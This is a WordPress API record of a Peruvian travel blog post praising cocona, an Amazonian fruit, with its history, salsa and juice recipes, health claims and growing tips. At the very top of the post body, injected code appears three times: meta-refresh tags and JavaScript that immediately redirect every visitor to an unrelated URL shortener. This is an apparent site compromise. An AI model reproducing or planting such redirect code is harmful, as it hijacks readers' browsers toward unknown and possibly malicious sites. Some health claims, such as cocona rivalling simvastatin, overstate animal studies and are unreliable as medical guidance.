{"id":17065,"date":"2025-07-16T13:17:32","date_gmt":"2025-07-16T18:17:32","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=17065"},"modified":"2025-07-16T13:17:34","modified_gmt":"2025-07-16T18:17:34","slug":"discover-cocona-perus-citrus-like-superfruit","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/discover-cocona-perus-citrus-like-superfruit\/","title":{"rendered":"Discover Cocona: Peru\u2019s Citrus-Like Superfruit"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Ever bitten into something so vibrant it feels like a party in your mouth? That\u2019s cocona for you\u2014a tangy, tropical fruit straight from the heart of the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-amazon-jungle-ecotourism-and-excursions\/\"><strong>Peruvian Amazon<\/strong><\/a> that\u2019s equal parts quirky and delicious.<\/p>\n\n\n\n<p>If you\u2019re not yet familiar with cocona (Solanum sessiliflorum), you\u2019re in for a delightful discovery. This small berry, often referred to as the \u201cAmazon tomato\u201d or \u201cpeach tomato,\u201d is a flavor-rich gem that has been cherished in the rainforest for centuries.<\/p>\n\n\n\n<p>So, let\u2019s navigate through the details to explore cocona\u2019s background, its culinary uses, its health benefits, and why you should consider trying this unique fruit. Are you ready to embrace a fruit as vibrant as the Amazon? Let\u2019s get started then!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What\u2019s the buzz around Cocona?<\/strong><\/h2>\n\n\n\n<p>Firstly, cocona is a mini bell pepper-like fruit, similar to a tomato and lime. It\u2019s small, from 2 to 10 centimeters long, and comes in shapes from oblong to downright conical.\u00a0<\/p>\n\n\n\n<p>So, when it\u2019s young, it\u2019s green and fuzzy, like it\u2019s rocking a peach\u2019s wardrobe. But as it ripens, that fuzz falls off, revealing glossy skin in shades of golden orange, fiery red, or deep purple-red, depending on the variety.&nbsp;<\/p>\n\n\n\n<p>Crack one open, and you\u2019ll find creamy, pale yellow flesh hugging a juicy, seed-packed core. The scent? A subtle tomato vibe with a whisper of fresh herbs.&nbsp;<\/p>\n\n\n\n<p>The flavor is a vibrant blend of tart lime and tangy tomato, offering a refreshing kick that truly awakens your taste buds.<\/p>\n\n\n\n<p>Why is this important? Because cocona is more than just a fruit\u2014it\u2019s incredibly versatile in the kitchen. Whether in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-saucy-superstars-a-tasty-tale-of-native-sauces\/\"><strong>spicy sauces<\/strong><\/a> or refreshing juices, it has a unique ability to take center stage.&nbsp;<\/p>\n\n\n\n<p>However, what led to this little berry becoming so significant in the Amazon? Let&#8217;s take a step back and explore its journey.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Jungle Legend: Cocona\u2019s History<\/strong><\/h2>\n\n\n\n<p>Imagine you\u2019re an explorer in the 1800s, sweating through the Amazon\u2019s thick humidity, when you stumble across a vibrant fruit market.&nbsp;<\/p>\n\n\n\n<p>There, among piles of exotic produce, is cocona, a staple for indigenous peoples who\u2019ve been growing it for thousands of years.&nbsp;<\/p>\n\n\n\n<p>They weren\u2019t the first to notice it, though. For example, indigenous groups in Peru, Colombia, and beyond had already tamed this spiky wild berry into the smooth, spineless fruit we know today.<\/p>\n\n\n\n<p>Moreover, during their exciting 1800 expedition through the beautiful Casiquiare Canal region, located between the Javita and Pimichin rivers, Alexander von Humboldt and Aim\u00e9 Bonpland explored and documented numerous remarkable Amazonian plant species.&nbsp;<\/p>\n\n\n\n<p>Although we can&#8217;t say for sure that they identified cocona specifically, they likely came across this native fruit among the fascinating plants in the area.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?resize=697%2C465&#038;ssl=1\" alt=\"Alexander Von Humboldt and local jungle antive people with cocona fruit\" class=\"wp-image-17075\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ChatGPT-Image-16-jul-2025-13_12_07.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Cocona in the 20th Century<\/strong><\/h2>\n\n\n\n<p>By the 1940s, cocona caught the eye of plant nerds, who started growing it at experimental stations in Peru and Costa Rica, dreaming of crossbreeding it with its cousin, naranjilla.&nbsp;<\/p>\n\n\n\n<p>There was even a brief fling with cocona in Florida during the 1950s, but pesky nematodes crashed that party. <\/p>\n\n\n\n<p>Still, cocona held strong in its Amazonian homeland, popping up in<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/complete-guide-to-the-best-markets-in-peru\/\"><strong> bustling markets<\/strong><\/a> like Mercado No. Surquillo in Lima, where its bright colors draw crowds like moths to a flame.<\/p>\n\n\n\n<p>Cocona is a true treasure in our market and holds a special place in our hearts as a cultural symbol. Just think about the joy that fills the air during the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/san-juan-fiesta-peru-amazons-vibrant-celebration\/\"><strong>Festival de San Juan<\/strong><\/a> on June 24th in the beautiful Peruvian Amazon!<\/p>\n\n\n\n<p>Families gather by the rivers to celebrate Saint John the Baptist with upbeat music, colorful dances, and tasty meals. It\u2019s such a lovely event that unites us all!<\/p>\n\n\n\n<p>Cocona\u2019s there, chopped into fiery salsas or blended into refreshing drinks, tying the community to its roots. Why does this history spark curiosity?&nbsp;<\/p>\n\n\n\n<p>How does a fruit so deeply woven into Amazonian life stay under the radar globally? Let\u2019s see how it shines in the kitchen.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cocona in Your Kitchen: A Flavor Explosion<\/strong><\/h2>\n\n\n\n<p>Cocona is like that versatile friend who can adapt to any flavor profile\u2014spicy, sweet, savory, you name it. Its tart, slightly acidic taste makes it an essential ingredient in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-of-peruvian-amazon-cuisine\/\"><strong>Peruvian cuisine.<\/strong><\/a> So, here\u2019s how it takes center stage:<\/p>\n\n\n\n<p><strong>Salsas That Slap<\/strong>: Ever tried aj\u00ed de cocona? It\u2019s the salsa of your dreams. Peel the fruit, dice its pulp, toss in some onions, aj\u00ed charapita (a tiny <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/perus-fiery-hot-peppers-the-spicy-soul-of-andean-cuisine\/\"><strong>Peruvian chili pepper <\/strong><\/a>that packs a punch), coriander, and a pinch of salt.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/phpSyI7jl-1.png?resize=697%2C697&#038;ssl=1\" alt=\"aji de cocona, made with cocona, onions and aji charapita.\" class=\"wp-image-17068\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/phpSyI7jl-1.png?w=833&amp;ssl=1 833w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/phpSyI7jl-1.png?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/phpSyI7jl-1.png?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/phpSyI7jl-1.png?resize=768%2C768&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>The result? A spicy-tangy condiment that makes grilled fish, chicken, or even a plain tortilla taste like a jungle fiesta.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>Drinks That Refresh<\/strong>: Too tart to munch raw? No sweat. Boil cocona until it\u2019s soft, blend it with a bit of sugar and water, and pour it over ice for a drink that\u2019s like sunshine in a glass.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?resize=697%2C466&#038;ssl=1\" alt=\"a deliciously refreshing cocona juice\" class=\"wp-image-17069\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?resize=1024%2C684&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona-selva-peruana.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Feeling fancy? Mix it with mango or passion fruit for a smoothie that screams tropical paradise. In Peru, cocona juice is a breakfast go-to, waking you up with a zesty zing.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>Sweet Surprises<\/strong>: Cocona isn\u2019t just for savory dishes. Its pulp transforms into jams, marmalades, and even ice creams that\u2019ll make you rethink dessert. Imagine licking a cocona popsicle (or paleta) on a sweltering day\u2014pure magic.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"461\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona.jpg?resize=697%2C461&#038;ssl=1\" alt=\"Amazonian food, patacones with cocona tangy bittersweet sauce on eat, wrapped in bijao leaves\" class=\"wp-image-17070\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona.jpg?resize=1024%2C677&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona.jpg?resize=300%2C198&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona.jpg?resize=768%2C508&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/cocona.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Amazonian food with a touch of cocona sauce on it<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p><strong>Savory Sidekick<\/strong>: Cocona\u2019s tangy edge makes it a killer addition to meat or fish dishes. Cook it into a sauce or use it as a marinade for Amazonian fish like paiche, and you\u2019ve got a next-level meal.<\/p>\n\n\n\n<p>What makes cocona so darn versatile? Its perfect balance of tart and sweet lets it play any role you want. But , here\u2019s the real question: beyond its flavor, why should you care about this fruit? Let\u2019s talk health perks.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cocona\u2019s Superpowers: Why It\u2019s Good for You<\/strong><\/h2>\n\n\n\n<p>Cocona is more than just a delicious snack; it\u2019s a powerhouse of nutrition. Rich in vitamins, minerals, and antioxidants, it has long been a staple for Amazonian communities for both culinary and medicinal purposes. Therefore, here\u2019s why it stands out as a health champion:<\/p>\n\n\n\n<p><strong>Nutrient Bonanza<\/strong>: Cocona\u2019s loaded with iron, calcium, phosphorus, and vitamins B5, B12, and C. It\u2019s low in calories but high in fiber, so you can snack guilt-free while getting a nutrient boost. One serving is like a multivitamin from the jungle.<\/p>\n\n\n\n<p><strong>Antioxidant All-Star<\/strong>: With carotenes and anthocyanins, cocona fights free radicals like a champ. Studies show it can lower lipid levels, rivaling cholesterol meds like simvastatin.&nbsp;<\/p>\n\n\n\n<p>Those anthocyanins in its colorful skin? They\u2019re linked to better heart health by cutting LDL cholesterol and triglycerides.<\/p>\n\n\n\n<p><strong>Heart Helper<\/strong>: Research on cocona ecotypes like SRN9 shows it can slash LDL cholesterol in hyperlipidemic rats, hinting at heart-friendly vibes. Its flavonoids also help keep blood lipids in check, making it a tasty way to love your heart.<\/p>\n\n\n\n<p><strong>Beauty Bonus<\/strong>: In Peru, cocona\u2019s a secret weapon for hair and skin. Its nutrients are said to keep hair shiny and strong\u2014think of it as nature\u2019s conditioner. <\/p>\n\n\n\n<p>Likewise, its juice has been used traditionally to soothe burns, reduce inflammation,\u00a0 and even treat snake bites (though don\u2019t try that at home!).<\/p>\n\n\n\n<p><strong>Gut Guru<\/strong>: With 1.08\u20131.93 grams of fiber per serving, cocona keeps your digestive system happy. Its low sodium (3.25\u20136.87 mg\/100 g) and high potassium (570.83\u20132382.24 mg\/100 g) make it a heart-smart choice.<\/p>\n\n\n\n<p>Why should these benefits excite you? Because cocona\u2019s a delicious way to boost your health without feeling like you\u2019re eating kale (no shade to kale, though). But how do you get this jungle gem into your life?<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/36802432320_55934e5ab4_b.jpg?resize=697%2C465&#038;ssl=1\" alt=\"A picture that shows different types of cocona ready to be consumed\" class=\"wp-image-17067\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/36802432320_55934e5ab4_b.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/36802432320_55934e5ab4_b.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/36802432320_55934e5ab4_b.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/36802432320_55934e5ab4_b.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Growing Your Own Cocona: A Taste of the Amazon<\/strong><\/h2>\n\n\n\n<p>Dreaming of your own cocona plant? It\u2019s totally doable! Cocona loves tropical vibes\u2014think 18\u201330\u00b0C, well-drained, clay-rich soil, and plenty of organic matter. <\/p>\n\n\n\n<p>If you\u2019re in a chilly spot, a greenhouse or indoor setup works. So, here\u2019s how to make it happen:<\/p>\n\n\n\n<p><strong>Starting Out<\/strong>: Grow cocona from seeds (each fruit has 800\u20132,000!) or root cuttings. For seeds, ferment them for two days to remove the goo, wash, dry, and dust with fungicide. Plant them 3\/8 inch deep in a soil-sand mix. Germination takes 15\u201340 days, so patience is key.<\/p>\n\n\n\n<p><strong>Care Tips<\/strong>: Cocona craves full sun and good drainage. Feed it six times a year with a 10-8-10 NPK fertilizer. In just 6\u20139 months, you\u2019ll see fruit, which ripens about 8 weeks after pollination.<\/p>\n\n\n\n<p><strong>Watch Out<\/strong>: Pests like aphids and nematodes can be a pain. If you\u2019re growing indoors, keep the air humid to fend off spider mites.<\/p>\n\n\n\n<p>Why bother? Growing cocona is like bringing a slice of the Amazon to your backyard. Plus, imagine the bragging rights when you serve homegrown cocona salsa at your next barbecue!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/4109059837_cb297f32b2_o.jpg?resize=697%2C466&#038;ssl=1\" alt=\"Inside of a tiny piece of cocona fruit in a man's palm\" class=\"wp-image-17072\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/4109059837_cb297f32b2_o.jpg?w=1000&amp;ssl=1 1000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/4109059837_cb297f32b2_o.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/4109059837_cb297f32b2_o.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/4109059837_cb297f32b2_o.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>You Gotta Try Cocona<\/strong><\/h2>\n\n\n\n<p>In conclusion, why should cocona be your next food favorite? It\u2019s a delicious, nutrient-rich fruit that\u2019s enjoyable to eat and beneficial for your health.<\/p>\n\n\n\n<p>Whether you\u2019re preparing a spicy salsa, enjoying a tangy juice, or appreciating its unique origins, cocona has an intriguing story to share.<\/p>\n\n\n\n<p>Its journey from indigenous farms to contemporary markets highlights its enduring appeal, and its health benefits\u2014such as promoting heart health, enhancing hair shine, and supporting digestive wellness\u2014make it an easy choice.<\/p>\n\n\n\n<p>The next time you see cocona at a market or online (don\u2019t forget to check specialty grocers!), consider picking one up.&nbsp;<\/p>\n\n\n\n<p>You can peel it, add a sprinkle of salt, or blend it into a refreshing drink that brings a taste of the Amazon to your day.<\/p>\n\n\n\n<p>So, what\u2019s stopping you from this tropical experience? Seek out cocona and let it captivate you. To discover more about Peruvian ingredients, cuisine, culture, and more, stay tuned to the Viagens Machu Picchu blog!<\/p>\n\n\n\n<p>We\u2019ll be more than glad to assist you with your adventure in Peru. So, please, feel free to<strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\"> contact us<\/a><\/strong> to learn about our tours, packages, and best deals. Peru and everything it has to offer await!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cocona, the tangy \u201cAmazon tomato,\u201d is a tropical fruit from Peru that bursts with flavor and health perks. From spicy salsas to refreshing drinks, this versatile gem is rich in nutrients and antioxidants, making it a must-try for food lovers and adventurers alike.<\/p>\n","protected":false},"author":1,"featured_media":17071,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1850,3495],"tags":[1669,3093,5752,2513,5835,5834,3508,1745],"class_list":["post-17065","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-food","category-peruvian-flavors","tag-amazon-rainforest","tag-health-benefits","tag-ice-cream","tag-indigenous-peoples","tag-reduce-inflammation","tag-solanum-sessiliflorum","tag-thousands-of-years","tag-tropical-fruits"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/ZRFAZMU4KREYLJPVSGN76LXRBY-rotated.jpg?fit=1805%2C1200&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4rf","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17065","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=17065"}],"version-history":[{"count":3,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17065\/revisions"}],"predecessor-version":[{"id":17076,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/17065\/revisions\/17076"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/17071"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=17065"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=17065"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=17065"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}